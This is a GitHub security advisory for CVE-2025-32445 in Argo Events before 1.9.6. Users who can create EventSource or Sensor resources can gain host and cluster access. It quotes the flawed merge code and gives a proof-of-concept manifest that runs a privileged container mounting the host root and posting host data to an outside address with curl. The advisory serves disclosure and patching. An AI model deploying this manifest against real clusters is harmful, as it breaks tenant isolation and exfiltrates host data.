GitHub Advisoryadvisory · Go
GHSA-hmp7-x699-cvhq Argo Events users can gain privileged access to the host system and cluster with EventSource and Sensor CR
CRITICAL
Official page ↗
- Aliases
- CVE-2025-32445
- Ecosystem
- Go
- Packages
- github.com/argoproj/argo-events
- Severity
- Critical
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
- Weaknesses
- CWE-250, CWE-268
- Reviewed
- 2025-04-14
Affected packages
• Go github.com/argoproj/argo-events: < 1.9.6 → fixed in 1.9.6
Description
Summary:
A user with permission to create/modify EventSource and Sensor custom resources can gain privileged access to the host system and cluster, even without having direct administrative privileges.
Details:
The `EventSource` and `Sensor` CRs allow the corresponding orchestrated pod to be customized with `spec.template` and `spec.template.container` (with type `k8s.io/api/core/v1.Container`), thus, any specification under `container` such as `command`, `args`, `securityContext `, `volumeMount` can be specified, and applied to the EventSource or Sensor pod due to the code logic below.
```golang
if args.EventSource.Spec.Template != nil && args.EventSource.Spec.Template.Container != nil {
if err := mergo.Merge(&eventSourceContainer, args.EventSource.Spec.Template.Container, mergo.WithOverride); err != nil {
return nil, err
}
}
```
With these, A user would be able to gain privileged access to the cluster host, if he/she specified the EventSource/Sensor CR with some particular properties under `template`.
Here is an example that demonstrates the vulnerability.
```
apiVersion: argoproj.io/v1alpha1
kind: EventSource
metadata:
name: poc-vulnerable-eventsource
spec:
webhook:
security-test:
port: "12000"
endpoint: "/webhook"
template:
container:
image: ubuntu:latest
command: ["/bin/bash"]
args: [
"-c",
"apt-get update && apt-get install -y curl && while true; do
rm -f /tmp/data;
echo '=== containerd socket ===' > /tmp/data 2>&1;
ls -la /host/run/containerd/containerd.sock >> /tmp/data 2>&1;
echo '=== proof of host access ===' >> /tmp/data 2>&1;
cat /host/etc/hostname >> /tmp/data 2>&1;
curl -X POST --data-binary @/tmp/data http://:8000/;
sleep 300;
done"
]
securityContext:
privileged: true
capabilities:
add: ["SYS_ADMIN"]
volumeMounts:
• name: host-root
mountPath: /host
volumes:
• name: host-root
hostPath:
path: /
```
Impact:
• Multi-tenant Clusters:
• Tenant isolation broken
• Non-admin users can gain host/cluster access
• Access to other tenants' data
• Security Model Bypass:
• RBAC restrictions circumvented
• Pod Security Policies/Standards bypassed
• Host system compromised
Patches
A patch for this vulnerability has been released in the following Argo Events version , which only limited properties under `spec.template.container` are allowed.
`v1.9.6`
Credits
This vulnerability was found & reported by:
@thevilledev
The Argo team would like to thank him for his responsible disclosure and constructive communications during the resolve of this issue.
Related
Alias · CVE (1)
- CVE-2025-32445 Argo Events is an event-driven workflow automation framework for Kubernetes. vulnerability
References
- https://github.com/argoproj/argo-events/security/advisories/GHSA-hmp7-x699-cvhq web
- https://nvd.nist.gov/vuln/detail/CVE-2025-32445 advisory
- https://github.com/argoproj/argo-events/pull/3528 web
- https://github.com/argoproj/argo-events/commit/18412293a699f559848b00e6e459c9ce2de0d3e2 web
- https://github.com/argoproj/argo-events package
- https://pkg.go.dev/vuln/GO-2025-3608 web